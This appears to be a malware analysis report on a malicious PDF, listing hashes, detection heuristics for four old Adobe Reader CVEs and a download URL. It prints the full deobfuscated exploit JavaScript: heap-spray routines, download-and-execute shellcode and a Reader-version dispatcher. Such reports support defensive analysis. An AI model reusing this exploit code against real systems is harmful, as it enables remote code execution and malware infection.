Malicious PDF — malware analysis report

Static analysis result for SHA-256 3148aceb7977614c…

MALICIOUS

PDF

4.3 KB First seen: 2013-09-08
MD5: 946bec9db100deb1b9990bca3e0f82f6 SHA-1: a85e6177250f826f801e8cbd0ec46349e9634cc1 SHA-256: 3148aceb7977614c220d02d9c03127da02eebdbc6d1a54dcae218941c30be15b
510 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://samagoni.cz.cc/es/viewforum.php/773f1b35edb475b3edc63447a635d9b6?spl=pdf_13 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xE75 151 bytes
SHA-256: 76aac1d5c359666ea0ce68a96bc395161d81e62d62e34280c548ee209fa1f319
Preview script
First 1,000 lines of the extracted script
mmm1=this.info.gkds;mmm4=this.info.gggsd;if (mmm4=="e"){mmm5=mmm4};mmm2=mmm1.replace(/zzzzz/g,"");mmm3=mmm5+"val";        app[mmm3](mmm2);
info_stride_js_000.js deobfuscated-js PDF /Info fields via stride 6 4584 bytes
SHA-256: 789f0ffae22253c9dfbd817dfdcf5ee3eb476199830ffab35459476496830bb5
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function shcode()
{

sh = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6D61%u6761%u6E6F%u2E69%u7A63%u632E%u2F63%u7365%u762F%u6569%u6677%u726F%u6D75%u702E%u7068%u372F%u3337%u3166%u3362%u6535%u6264%u3734%u6235%u6533%u6364%u3336%u3434%u6137%u3336%u6435%u6239%u3F36%u7073%u3D6C%u6470%u5F66%u3331";
return sh;

}

function nplayer() {
function kzbve()
{
var eobwe="p@111111111111111111111111 : yyyy111";
util.printd(eobwe, new Date());
}

var grizxw=12000;
jucobu=new Array();
var klkng = "%u9090%u9090";
var hwjnalb8=shcode(shcode());
klkng=unescape(klkng);
hwjnalb8=unescape(hwjnalb8);

while(klkng.length <= 0x8000){klkng+=klkng;}
klkng=klkng.substr(0,0x8000 - hwjnalb8.length);
for(fzfwam=0;fzfwam<grizxw;fzfwam++) {jucobu[fzfwam]=klkng + hwjnalb8;}
if(grizxw){kzbve();kzbve();try {this.media.newPlayer(null);} catch(e) {}kzbve();}
}

function printf() {

var payload=unescape(shcode());

var nop ="";
for (iCnt=128;iCnt>=0;--iCnt) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
heapblock = nop + payload;
bigblock = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length<spray) bigblock+=bigblock;
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) block = block+block+fillblock;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = block + heapblock;

var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num);
}

function geticon() {

var shellcode=unescape(shcode());

garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellcode;
nopblock = unescape("%u9090%u9090"); 
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = unescape("%0a%0a%0a%0a");
}

Collab.getIcon(buffer+"_N.bundle");
}

function collab() {

function fix_it(yarsp,len) {
while(yarsp.length*2<len) { yarsp+=yarsp; }
yarsp=yarsp.substring(0,len/2);
return yarsp; }
var shellcode=unescape(shcode());
var mem_array=new Array();
var cc=0x0c0c0c0c;
var addr=0x400000;
var sc_len=shellcode.length*2;
var len=addr-(sc_len+0x38);
var yarsp=unescape("%u9090%u9090");
yarsp=fix_it(yarsp,len);
var count2=(cc-0x400000)/addr;
for(var count=0;count<count2;count++) {mem_array[count]=yarsp+shellcode; }
var overflow=unescape("%u0c0c%u0c0c");
while(overflow.length<44952) {overflow+=overflow; }
this.collabStore=Collab.collectEmailInfo( { subj:"",msg:overflow } ); 

}

aPlugins = app.plugIns;
var sv=parseInt(app.viewerVersion.toString().charAt(0));
for (var i=0; i < aPlugins.length; i++)
  {
    if (aPlugins[i].name=="EScript")
      {
        var lv=aPlugins[i].version;
      }
  }  
if ((lv==9)||((sv==8)&&(lv<=8.12)))
  {
    geticon();
  }
else if (lv==7.1)
  {
    printf();
  }
else if (((sv==6)||(sv==7))&&(lv<7.11))
  {
    collab();
  }
else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17))
  {
        nplayer();
  }